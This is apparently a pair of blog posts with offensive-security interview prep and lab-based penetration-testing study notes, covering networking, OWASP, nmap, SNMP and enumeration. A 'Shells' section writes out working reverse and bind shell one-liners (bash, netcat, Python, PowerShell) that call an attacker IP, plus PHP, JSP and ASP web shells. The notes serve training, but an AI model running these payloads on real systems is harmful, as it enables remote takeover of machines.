[{"content":"I have been exploring transitioning to a more technical and hands on role in the Offensive Security field (broad, I know). This naturally requires some interviews. Rather than keeping this to my self, I figured I would publish my review and document my efforts.\nSome of this is a review of basic concepts that I am already familiar with, but there are also areas within the fundamentals that I have missed or just haven\u0026rsquo;t learned about to the full depth.\nNote: this is more for me than anything else - a majority of this content is catering towards Red Team and Pentesting roles that I have been looking at, but obviously certain topics can be applied to other jobs you maybe looking for.\nMajor Topics Hacker Types (Hats) Black: malicious White: ethical Grey: not malicious, not ethical Green: new, unskilled Blue: vengeful Red: vigilante (A Few) Hacker Roles Pentetration tester Goal: find vulnerabilities in specified time and subset of assests Scope: scoped to system or applications Timeline: a few days to a few weeks Types: Internal: Identify vulnerabilities in an organization\u0026rsquo;s systems External: Identify vulnerabilities that could be exploited from the outside Cost: generally cheaper than red team due to less time spent Red teamer Goal: test the effectiveness of an organizations defensive strategies Scope: specific objective (exfiltrate financial information) Timeline: 3-4 weeks or longer Types: Internal: focus on the internal network and systems External: focus on the exteral attack surface Hybrid: A combination of the two Cost: generally pricey in comparison to pentest due to time OWASP Top 10 (2021) A01:2021-Broken Access Control moves up from the fifth position; 94% of applications were tested for some form of broken access control. The 34 Common Weakness Enumerations (CWEs) mapped to Broken Access Control had more occurrences in applications than any other category. A02:2021-Cryptographic Failures shifts up one position to #2, previously known as Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed focus here is on failures related to cryptography which often leads to sensitive data exposure or system compromise. A03:2021-Injection slides down to the third position. 94% of the applications were tested for some form of injection, and the 33 CWEs mapped into this category have the second most occurrences in applications. Cross-site Scripting is now part of this category in this edition. A04:2021-Insecure Design is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to “move left” as an industry, it calls for more use of threat modeling, secure design patterns and principles, and reference architectures. A05:2021-Security Misconfiguration moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration. With more shifts into highly configurable software, it’s not surprising to see this category move up. The former category for XML External Entities (XXE) is now part of this category. A06:2021-Vulnerable and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores. A07:2021-Identification and Authentication Failures was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping. A08:2021-Software and Data Integrity Failures is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. Insecure Deserialization from 2017 is now a part of this larger category. A09:2021-Security Logging and Monitoring Failures was previously Insufficient Logging \u0026amp; Monitoring and is added from the industry survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn’t well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics. A10:2021-Server-Side Request Forgery is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it’s not illustrated in the data at this time. OSI Model Application Presentation Session Transport Network Data Link Physical TCP/IP Model Application OSI Equivalent: Application + Presentation + Session Transport OSI Equivalent: Transport Network OSI Equivalent: Network Network Interface OSI Equivalent: Data Link + Physical Application Layer Presentation Layer Session Layer Transport Layer Transmission Control Protocol (TCP) Connection oriented protocol: establishes a connection between sender and receiver befre transfer 3-way handshake: SYN, SYN-ACK, ACK stays in effect until timeout or reset by client or server Data is sent from source to destination Data integrity is ensured using ackowledgements and retransmissions Data is transfered in an order Checksums are used to verify the integrity of data transmitted Flow control: ensures data is sent at the most efficient rate from sender to receiver Congestion control: uses mechanisms and algorithms to achieve a high flow rate of data and avoid congestion [image source ] User Datagram Protocol (UDP) Connectionlesss communication protocol Only cares about sending the segments Network Layer Data Link Layer Physical Layer Common Questions Commands What is the command-line option to set the source port for a nmap scan?\n-g/\u0026ndash;source-port : Use given port number -S \u0026lt;IP_Address\u0026gt;: Spoof source address What does netstat show?\nTL;DR: Protocol | Local Address:Port | Foreign Address:Port | State | PID Displays information regarding traffic on the configured network interfaces The address of any protocol control blocks associated with the sockets and the state of all sockets The number of packets received, transmitted, and dropped in the communications subsystem Cumulative statistics per interfaces Routes and their status Source: IBM Docs What Windows / Linux commands can be used to show IP address information?\nWindows: ipconfig (cmd) netsh interface ip show addresses (cmd) Get-NetIPConfiguration (powershell) Linux: ifconfig ip addr hostname -I Networking Questions What is OSPF?\nShort for Open Shortest Path First Interior Gateway Protocol (IGP) for routing Internet Protocol (IP) packets within a single routing domain Intended to help routers find the best/fastest path for data to travel Wiki: OSPF What is BGP?\nShort for Border Gateway Protocol Routing protocol used to exchange routing information between different networks on the Internet Connects different networks (often run by ISPs) and decides the best path for data to travel Wifi: BGP What protocol is used to convert MAC addresses to IP addresses?\nAddress Resolution Protocol (ARP) Discover data link layer (Layer 2) addresses and converts to network layer (Layer 3) addresses Wiki: Address Resolution Protocol Windows Questions What is UAC (User Account Control), and how does it work?\nUser Account Control (UAC) is a security feature in Windows that helps prevent unauthorized changes to the operating system. When an action requires administrative privileges, UAC prompts the user to confirm the action or enter an administrator password, depending on the user\u0026rsquo;s account type. This helps protect the system from potentially harmful changes, such as the installation of malicious software, by ensuring that administrative tasks are not performed without explicit user consent. Source: Microsoft User Account Control What is Windows Telemtry?\nA Windows service that allows Microsoft to gather data from a device and transmit it to Microsoft: Device specifications and health App usage and performance Error reports and crash dumps Feedback and ratings Browser history and search queries Location and activity history Advertising ID and interests Source: GeeksForGeeks How can you view Windows logs?\nEvent Viewer (GUI) Application: Logs related to applications and programs. Security: Logs related to security events, such as logins. System: Logs related to Windows system components. Setup: Logs related to the installation and setup of Windows. Forwarded Events: Logs forwarded from other computers. Get-WinEvent -LogName System -MaxEvents 10 From a pcap, what are some ways to identify it is a Windows machine?\nNetBIOS Name Service (NBNS) Traffic: Windows machines often use NetBIOS over TCP/IP for name resolution and service announcements. Look for NBNS queries or responses on UDP port 137. The machine name in NBNS traffic can indicate a Windows system. SMB/CIFS Traffic: Windows systems commonly use SMB (Server Message Block) for file and printer sharing. Look for traffic on: TCP port 445 (SMB over TCP) TCP port 139 (NetBIOS Session Service) The presence of SMB traffic, especially with \u0026ldquo;Windows\u0026rdquo; in the SMB header, is a strong indicator. Windows Update or WSUS Traffic: Windows machines regularly connect to Windows Update servers or a local WSUS for updates. Look for HTTP/HTTPS traffic to domains like: update.microsoft.com windowsupdate.microsoft.com DNS Queries Specific to Windows: Windows systems may query DNS for specific Microsoft domains. Look for DNS queries to domains like: microsoft.com windows.com msftncsi.com (Network Connectivity Status Indicator) msftconnecttest.com Kerberos and LDAP Traffic: Kerberos traffic for authentication (typically on UDP/TCP port 88). LDAP traffic on: TCP port 389 (standard LDAP) TCP port 636 (LDAP over SSL) Common for domain-joined Windows machines. HTTP User-Agent Strings: Look for HTTP traffic and examine the User-Agent strings in the headers. Windows systems typically include \u0026ldquo;Windows\u0026rdquo; in the User-Agent string. Example: \u0026quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)\u0026quot;. ICMP Echo Request (Ping) Patterns: Windows machines send ICMP Echo Requests (pings) with a specific TTL (Time to Live) value. The initial TTL value in Windows is often 128. The default payload size for pings from Windows systems is typically 32 bytes. DHCP Client Identifiers: When a Windows machine requests an IP address via DHCP, it may send a client identifier that includes a MAC address or a string indicating the system is Windows. Check DHCP Option 55 (Parameter Request List) and Option 60 (Vendor Class Identifier) for Windows-specific values. Microsoft-Specific Protocols: Windows machines use protocols unique to Windows environments: RDP (Remote Desktop Protocol) on TCP port 3389 WS-Discovery on UDP port 3702 Presence of these protocols suggests a Windows system. Windows Time Service (W32Time): If the machine is synchronized with a time server, it may use the Windows Time Service. Look for NTP (Network Time Protocol) traffic where the client might identify itself as a Windows machine. Linux Questions What is dmesg?\nShort for Diagnostic Messages Prints / Controls the kernel ring buffer (a circular buffer used for keeping the log messages of the kernel and kernel modules) Source: dmesg man page What is the difference between /bin and /sbin\n/bin : For binaries usable before the /usr partition is mounted. This is used for trivial binaries used in the very early boot stage or ones that you need to have available in booting single-user mode. Think of binaries like cat, ls, etc. /sbin : Same, but for binaries with superuser (root) privileges required. /usr/bin : Same as first, but for general system-wide binaries. /usr/sbin : Same as above, but for binaries with superuser (root) privileges required. Source: Differences between\u0026hellip; More detail with Filesystem Hierarchy Standard (FHS) What command can you use to find files?\nfind /path/to/search -name \u0026quot;*pattern*\u0026quot;\nSource: find man page\nWhat is the command to show services?\nsystemctl - Control the systemd system and service manager\nsystemctl list-unit lists all units (services, sockets, timers) which are loaded into memory by systemd\nsystemctl --type=service --state=running to specifically show running services\nSource: systemctl man page\nAttack Questions What is the difference between Reflected XSS, Stored XSS and DOM XSS?\nReflected XSS: where the malicious script comes from the current HTTP request. Stored XSS: where the malicious script comes from the website\u0026rsquo;s database. DOM-based XSS: where the vulnerability exists in client-side code rather than server-side code. What is Kerberoasting?\nTargets Service Principal Name accounts, specifically the NTLM hash which is used to encrypt TGS-REP All thats needed is cleartext password or NTLM hash of user, shell in context of domain user account, or SYSTEM level access on a domain-joined host YT:Hacksplained \u0026ldquo;Pentest Interview Questions\u0026rdquo; General Questions What is the last pentest tool you used, improved, suite?\nWhere do you find new vulnerability research?\nWho is your hacking idol?\nWhat is your latest writeup?\nWhere do you have room to improve in?\nJunior Level What is XSS?\nWhat is SQL Injection? When an attacker is able to insert a malicious SQL payload within a website field in order to interact with the SQL database. This is due to improper (or lack there of) sanatization of client-side input. Often times this involves having a query that will always be true, such as 1=1 --. HackTricks has quite a few paylaods and descriptions to help.\nWhat is an Open Redirect (Vulnerability)? Open redirects are when a web application allows users to redirect/forward to another URL. Open redirect vulnerabilites can lead to phishing attacks, XSS attacks, SSRF attacks, CSP bypassing, etc.\nWhich cookie security flags exist?\nDifference between Pentest / Vulnerability test?\nDifference between Black/White/Gray box?\nWhat pentest types/techniques exist?\nWhich file upload restrictions are common in web applications?\nSenior Level Content of a good pentest report?\nHow do you detect a CSRF attack?\nHow does XXE payload work?\nWhat is a boolean blind SQLi?\nExplain different HTTP methods, what they are used for, and how to be exploited?\nWhat is a salt?\nDifference between attack web app and api?\nLast found business logic vulnerability?\nPrincipal Level What is a threat model and how can this be useful?\nBenefits of bug bounty vs pentest?\nHow to measure pentest results?\nExplain details of HTTP DSync attack\nHow does deserialization work?\nWhat are common auth standards and how can you attack them?\nCan SSTI lead to RCE?\nWhat was your last RCE vulnerability?\n","permalink":"https://woadey.github.io/posts/general/interviews/","summary":"Red Team \u0026amp; Pentest Job Interview Preparation","title":"Offensive Security: Interview Prep"},{"content":"Penetration Testing Overview A Penetration Test (Pentest) is an organized, targeted, and authorized attack attempt to test IT infrastructure and its defenders to determine their susceptibility to IT security vulnerabilities.\nPrecautionary Measures Obtain written consent from the owner or authorized representative of the computer or network being tested Conduct the testing within the scope of the consent obtained only and respect any limitations specified Take measures to prevent causing damage to the systems or networks being tested Do not access, use or disclose personal data or any other information obtained during the testing without permission Do not intercept electronic communications without the consent of one of the parties to the communication Do not conduct testing on systems or networks that are covered by the Health Insurance Portability and Accountability Act (HIPAA) without proper authorization Pre-Engagement Documents Document Timing for Creation 1. Non-Disclosure Agreement (NDA) After Initial Contact 2. Scoping Questionnaire Before the Pre-Engagement Meeting 3. Scoping Document During the Pre-Engagement Meeting 4. Penetration Testing Proposal (Contract/Scope of Work (SoW)) During the Pre-engagement Meeting 5. Rules of Engagement (RoE) Before the Kick-Off Meeting 6. Contractors Agreement (Physical Assessments) Before the Kick-Off Meeting 7. Reports During and after the conducted Penetration Test Critical Scoping Questions How many expected live hosts? How many IPs/CIDR ranges in scope? How many Domains/Subdomains are in scope? How many wireless SSIDs in scope? How many web/mobile applications? If testing is authenticated, how many roles (standard user, admin, etc.)? For a phishing assessment, how many users will be targeted? Will the client provide a list, or we will be required to gather this list via OSINT? If the client is requesting a Physical Assessment, how many locations? If multiple sites are in-scope, are they geographically dispersed? What is the objective of the Red Team Assessment? Are any activities (such as phishing or physical security attacks) out of scope? Is a separate Active Directory Security Assessment desired? Will network testing be conducted from an anonymous user on the network or a standard domain user? Do we need to bypass Network Access Control (NAC)? Types of Penetration Testing Type Information Provided Blackbox Minimal. Only the essential information, such as IP addresses and domains, is provided. Greybox Extended. In this case, we are provided with additional information, such as specific URLs, hostnames, subnets, and similar. Whitebox Maximum. Here everything is disclosed to us. This gives us an internal view of the entire structure, which allows us to prepare an attack using internal information. We may be given detailed configurations, admin credentials, web application source code, etc. Red-Teaming May include physical testing and social engineering, among other things. Can be combined with any of the above types. Purple-Teaming It can be combined with any of the above types. However, it focuses on working closely with the defenders. Penetration Testing Stages Stage Description 1. Pre-Engagement The first step is to create all the necessary documents in the pre-engagement phase, discuss the assessment objectives, and clarify any questions. 2. Information Gathering Once the pre-engagement activities are complete, we investigate the company\u0026rsquo;s existing website we have been assigned to assess. We identify the technologies in use and learn how the web application functions. 3. Vulnerability Assessment With this information, we can look for known vulnerabilities and investigate questionable features that may allow for unintended actions. 4. Exploitation Once we have found potential vulnerabilities, we prepare our exploit code, tools, and environment and test the webserver for these potential vulnerabilities. 5. Post-Exploitation Once we have successfully exploited the target, we jump into information gathering and examine the webserver from the inside. If we find sensitive information during this stage, we try to escalate our privileges (depending on the system and configurations). 6. Lateral Movement If other servers and hosts in the internal network are in scope, we then try to move through the network and access other hosts and servers using the information we have gathered. 7. Proof-of-Concept We create a proof-of-concept that proves that these vulnerabilities exist and potentially even automate the individual steps that trigger these vulnerabilities. 8. Post-Engagement Finally, the documentation is completed and presented to our client as a formal report deliverable. Afterward, we may hold a report walkthrough meeting to clarify anything about our testing or results and provide any needed support to personnel tasked with remediating our findings. Vulnerability Analysis Types Analysis Type Description Descriptive Descriptive analysis is essential in any data analysis. On the one hand, it describes a data set based on individual characteristics. It helps to detect possible errors in data collection or outliers in the data set. Diagnostic Diagnostic analysis clarifies conditions\u0026rsquo; causes, effects, and interactions. Doing so provides insights that are obtained through correlations and interpretation. We must take a backward-looking view, similar to descriptive analysis, with the subtle difference that we try to find reasons for events and developments. Predictive By evaluating historical and current data, predictive analysis creates a predictive model for future probabilities. Based on the results of descriptive and diagnostic analyses, this method of data analysis makes it possible to identify trends, detect deviations from expected values at an early stage, and predict future occurrences as accurately as possible. Prescriptive Prescriptive analytics aims to narrow down what actions to take to eliminate or prevent a future problem or trigger a specific activity or process. Common Vulnerabilities and Exposures (CVEs) Research CVEdetails Exploit DB Vulners Packet Storm Security NIST Practicing Steps 2x Modules (one technical, one offensive)\nRead the module Practice the exercises Complete the module Start the module exercises from scratch While solving the exercises again, take notes Create technical documentation based on the notes Create non-technical documentation based on the notes 3x Retired Machines (two easy, one medium)\nGet the user flag on your own\nGet the root flag on your own\nWrite your technical documentation\nWrite your non-technical documentation\nCompare your notes with the official write-up (or a community write-up if you don\u0026rsquo;t have a VIP subscription\nCreate a list of information you have missed\nWatch Ippsec\u0026rsquo;s walkthrough and compare it with your notes\nExpand your notes and documentation by adding the missed parts\n5x Active Machines (two easy, two medium, one hard)\nGet the user and root flag Write your technical documentation Write your non-technical documentation Have it proofread by technical and non-technical persons 1x Pro Lab / Endgame\nComplete Link of Completion\nGetting Started CIA triad: \u0026ldquo;confidentiality, integrity, and availability of data\u0026rdquo; A hypervisor is software that allows us to create and run virtual machines (VMs). The ISO file is essentially just a CD-ROM that can be mounted within our hypervisor of choice to build the VM by installing the operating system ourselves. An ISO gives us more room for customization, e.g., keyboard layout, locale, desktop environment switch, custom partitioning, etc., and therefore a more granular approach when setting up our attack VM. The OVA file is a pre-built virtual appliance that contains an OVF XML file that specifies the VM hardware settings and a VMDK, which is the virtual disk that the operating system is installed on. An OVA is pre-built and therefore can be rapidly deployed to get up and running quicker. A virtual private network (VPN) allows us to connect to a private (internal) network and access hosts and resources as if we were directly connected to the target private network. It is a secured communications channel over shared public networks to connect to a private network (i.e., an employee remotely connecting to their company\u0026rsquo;s corporate network from their home). VPNs provide a degree of privacy and security by encrypting communications over the channel to prevent eavesdropping and access to data traversing the channel. netstat -rn will show us the networks accessible via the VPN. Common Ports Port(s) Protocol 20/21 (TCP) FTP 22 (TCP) SSH 23 (TCP) Telnet 25 (TCP) SMTP 80 (TCP) HTTP 161 (TCP/UDP) SNMP 389 (TCP/UDP) LDAP 443 (TCP) SSL/TLS (HTTPS) 445 (TCP) SMB 3389 (TCP) RDP Tools Secure Shell (SSH) is a network protocol that runs on port 22 by default and provides users such as system administrators a secure way to access a computer remotely. Netcat, ncat, or nc, is an excellent network utility for interacting with TCP/UDP ports. There\u0026rsquo;s another Windows alternative to netcat coded in PowerShell called PowerCat. Another similar network utility is socat, which has a few features that netcat does not support, like forwarding ports and connecting to serial devices. Socat can also be used to upgrade a shell to a fully interactive TTY. Terminal multiplexers, like tmux or Screen, are great utilities for expanding a standard Linux terminal\u0026rsquo;s features, like having multiple windows within one terminal and jumping between them. Vim is a great text editor that can be used for writing code or editing text files on Linux systems. -nmap for network enumeration and vulnerability scanning. nmap -sV --script=banner -p\u0026lt;port\u0026gt; \u0026lt;host(s)\u0026gt; and nc -nv \u0026lt;host\u0026gt; \u0026lt;port\u0026gt;can be used for Banner Grabbing A tool that can enumerate and interact with SMB shares is smbclient. SNMP Community strings provide information and statistics about a router or device, helping us gain access to it. The manufacturer default community strings of public and private are often unchanged. In SNMP versions 1 and 2c, access is controlled using a plaintext community string, and if we know the name, we can gain access to it. Encryption and authentication were only added in SNMP version 3. Much information can be gained from SNMP. Examination of process parameters might reveal credentials passed on the command line, which might be possible to reuse for other externally accessible services given the prevalence of password reuse in enterprise environments. Routing information, services bound to additional interfaces, and the version of installed software can also be revealed. woadey@htb[/htb]$ snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0 iso.3.6.1.2.1.1.5.0 = STRING: \u0026#34;gs-svcscan\u0026#34; woadey@htb[/htb]$ snmpwalk -v 2c -c private 10.129.42.253 Timeout: No Response from 10.129.42.253 A tool such as onesixtyone can be used to brute force the community string names using a dictionary file of common community strings such as the dict.txt file included in the GitHub repo for the tool. woadey@htb[/htb]$ onesixtyone -c dict.txt 10.129.42.254 Scanning 1 hosts, 51 communities 10.129.42.254 [public] Linux gs-svcscan 5.4.0-66-generic #74-Ubuntu SMP Wed Jan 27 22:54:38 UTC 2021 x86_64 We can use a tool such as ffuf or GoBuster to perform this directory enumeration. woadey@htb[/htb]$ gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.121/ [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/11 21:47:25 Starting gobuster =============================================================== /.hta (Status: 403) /.htpasswd (Status: 403) /.htaccess (Status: 403) /index.php (Status: 200) /server-status (Status: 403) /wordpress (Status: 301) =============================================================== 2020/12/11 21:47:46 Finished =============================================================== We can use cURL to retrieve server header information from the command line. cURL can also pull down files. woadey@htb[/htb]$ curl -IL https://www.inlanefreight.com HTTP/1.1 200 OK Date: Fri, 18 Dec 2020 22:24:05 GMT Server: Apache/2.4.29 (Ubuntu) Link: \u0026lt;https://www.inlanefreight.com/index.php/wp-json/\u0026gt;; rel=\u0026#34;https://api.w.org/\u0026#34; Link: \u0026lt;https://www.inlanefreight.com/\u0026gt;; rel=shortlink Content-Type: text/html; charset=UTF-8 woadey@htb[/htb]$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh 100 144k 100 144k 0 0 176k 0 --:--:-- --:--:-- --:--:-- 176k Another handy tool is EyeWitness, which can be used to take screenshots of target web applications, fingerprint them, and identify possible default credentials. We can extract the version of web servers, supporting frameworks, and applications using the command-line tool whatweb. woadey@htb[/htb]$ whatweb 10.10.10.121 http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()] woadey@htb[/htb]$ whatweb --no-errors 10.10.10.0/24 http://10.10.10.11 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.11], PoweredBy[Red,nginx], Title[Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux], nginx[1.14.1] http://10.10.10.100 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.100], Title[File Sharing Service] http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()] http://10.10.10.247 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@cross-fit.htb], Frame, HTML5, HTTPServer[OpenBSD httpd], IP[10.10.10.247], JQuery[3.3.1], PHP[7.4.12], Script, Title[Fine Wines], X-Powered-By[PHP/7.4.12], X-UA-Compatible[ie=edge] One method to transfer files would be using scp, granted we have obtained ssh user credentials on the remote host. woadey@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh user@remotehost\u0026#39;s password: ********* linenum.sh In some cases, we may not be able to transfer the file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to base64 encode the file into base64 format, and then we can paste the base64 string on the remote server and decode it. woadey@htb[/htb]$ base64 shell -w 0 f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... \u0026lt;SNIP\u0026gt; ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... \u0026lt;SNIP\u0026gt; ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d \u0026gt; shell Shells A Reverse Shell is the most common type of shell, as it is the quickest and easiest method to obtain control over a compromised host. Payload All The Things has many reverse shell payloads: Linux Victim\nbash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.10.10/1234 0\u0026gt;\u0026amp;1\u0026#39; ...or... rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.10.10 1234 \u0026gt;/tmp/f Windows Victim\npowershell -nop -c \u0026#34;$client = New-Object System.Net.Sockets.TCPClient(\u0026#39;10.10.10.10\u0026#39;,1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sb2 = $sb + \u0026#39;PS \u0026#39; + (pwd).Path + \u0026#39;\u0026gt; \u0026#39;;$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()\u0026#34; Another type of shell is a Bind Shell. Unlike a Reverse Shell that connects to us, we will have to connect to it on the targets\u0026rsquo; listening port. Once we execute a Bind Shell Command, it will start listening on a port on the remote host and bind that host\u0026rsquo;s shell, i.e., Bash or PowerShell, to that port. We have to connect to that port with netcat, and we will get control through a shell on that system. Payload All the Things again has payloads for this. Linux Victim\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2\u0026gt;\u0026amp;1|nc -lvp 1234 \u0026gt;/tmp/f ...or... python -c \u0026#39;exec(\u0026#34;\u0026#34;\u0026#34;import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\u0026#34;0.0.0.0\u0026#34;,1234));s1.listen(1);c,a=s1.accept();\\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\u0026#34;\u0026#34;\u0026#34;)\u0026#39; Windows Victim\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + \u0026#34;PS \u0026#34; + (pwd).Path + \u0026#34; \u0026#34;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(); The final type of shell we have is a Web Shell. A Web Shell is typically a web script, i.e., PHP or ASPX, that accepts our command through HTTP request parameters such as GET or POST request parameters, executes our command, and prints its output back on the web page. php\n\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]); ?\u0026gt; jsp\n\u0026lt;% Runtime.getRuntime().exec(request.getParameter(\u0026#34;cmd\u0026#34;)); %\u0026gt; asp\n\u0026lt;% eval request(\u0026#34;cmd\u0026#34;) %\u0026gt; PrivEsc Checklists Once we gain initial access to a box, we want to thoroughly enumerate the box to find any potential vulnerabilities we can exploit to achieve a higher privilege level. We can find many checklists and cheat sheets online that have a collection of checks we can run and the commands to run these checks. One excellent resource is HackTricks, which has an excellent checklist for both Linux and Windows local privilege escalation. Another excellent repository is PayloadsAllTheThings, which also has checklists for both Linux and Windows. We must start experimenting with various commands and techniques and get familiar with them to understand multiple weaknesses that can lead to escalating our privileges.\nEnumeration Scripts Many of the above commands may be automatically run with a script to go through the report and look for any weaknesses. We can run many scripts to automatically enumerate the server by running common commands that return any interesting findings. Some of the common Linux enumeration scripts include LinEnum and linuxprivchecker, and for Windows include Seatbelt and JAWS.\nAnother useful tool we may use for server enumeration is the Privilege Escalation Awesome Scripts SUITE (PEASS), as it is well maintained to remain up to date and includes scripts for enumerating both Linux and Windows.\nGTFOBins contains a list of commands and how they can be exploited through sudo\nLOLBAS also contains a list of Windows applications which we may be able to leverage to perform certain functions, like downloading files or executing commands in the context of a privileged user.\nPractice Resources Platform Description OWASP Juice Shop Is a modern vulnerable web application written in Node.js, Express, and Angular which showcases the entire OWASP Top Ten along with many other real-world application security flaws. Metasploitable 2 Is a purposefully vulnerable Ubuntu Linux VM that can be used to practice enumeration, automated, and manual exploitation. Metasploitable 3 Is a template for building a vulnerable Windows VM configured with a wide range of vulnerabilities. DVWA This is a vulnerable PHP/MySQL web application showcasing many common web application vulnerabilities with varying degrees of difficulty. IppSec Provides an extremely in-depth walkthrough of every retired HTB box packed full of insight from his own experience, as well as videos on various techniques. VbScrub Provides HTB videos as well as videos on techniques, primarily focusing on Active Directory exploitation. STÖK Provides videos on various infosec related topics, mainly focusing on bug bounties and web application penetration testing. LiveOverflow Provides videos on a wide variety of technical infosec topics. First Attack For an entire write-up of this box, see HTB Writeup: Nibbles.\nComplete Link of Completion\nNetwork Enumeration with Nmap Nmap Architecture Host discovery Port scanning Service enumeration and detection OS detection Scriptable interaction with the target service (Nmap Scripting Engine) TCP-SYN Scan The TCP-SYN scan (-sS) is one of the default settings unless we have defined otherwise and is also one of the most popular scan methods. This scan method makes it possible to scan several thousand ports per second. The TCP-SYN scan sends one packet with the SYN flag and, therefore, never completes the three-way handshake, which results in not establishing a full TCP connection to the scanned port.\nIf our target sends an SYN-ACK flagged packet back to the scanned port, Nmap detects that the port is open. If the packet receives an RST flag, it is an indicator that the port is closed. If Nmap does not receive a packet back, it will display it as filtered. Depending on the firewall configuration, certain packets may be dropped or ignored by the firewall. Scan Network Range woadey@htb[/htb]$ sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d\u0026#34; \u0026#34; -f5 10.129.2.4 10.129.2.10 10.129.2.11 10.129.2.18 10.129.2.19 10.129.2.20 10.129.2.28 Scanning Options Description 10.129.2.0/24 Target network range. -sn Disables port scanning. -oA tnet Stores the results in all formats starting with the name \u0026rsquo;tnet'. Scan IP List woadey@htb[/htb]$ sudo nmap -sn -oA tnet -iL hosts.lst | grep for | cut -d\u0026#34; \u0026#34; -f5 10.129.2.18 10.129.2.19 10.129.2.20 Scanning Options Description -sn Disables port scanning. -oA tnet Stores the results in all formats starting with the name \u0026rsquo;tnet'. -iL Performs defined scans against targets in provided \u0026lsquo;hosts.lst\u0026rsquo; list. Scan Multiple IPs woadey@htb[/htb]$ sudo nmap -sn -oA tnet 10.129.2.18 10.129.2.19 10.129.2.20| grep for | cut -d\u0026#34; \u0026#34; -f5 10.129.2.18 10.129.2.19 10.129.2.20 woadey@htb[/htb]$ sudo nmap -sn -oA tnet 10.129.2.18-20| grep for | cut -d\u0026#34; \u0026#34; -f5 10.129.2.18 10.129.2.19 10.129.2.20 Scan Single IP woadey@htb[/htb]$ sudo nmap 10.129.2.18 -sn -oA host Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-14 23:59 CEST Nmap scan report for 10.129.2.18 Host is up (0.087s latency). MAC Address: DE:AD:00:00:BE:EF Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds Scanning Options Description 10.129.2.18 Performs defined scans against the target. -sn Disables port scanning. -oA host Stores the results in all formats starting with the name 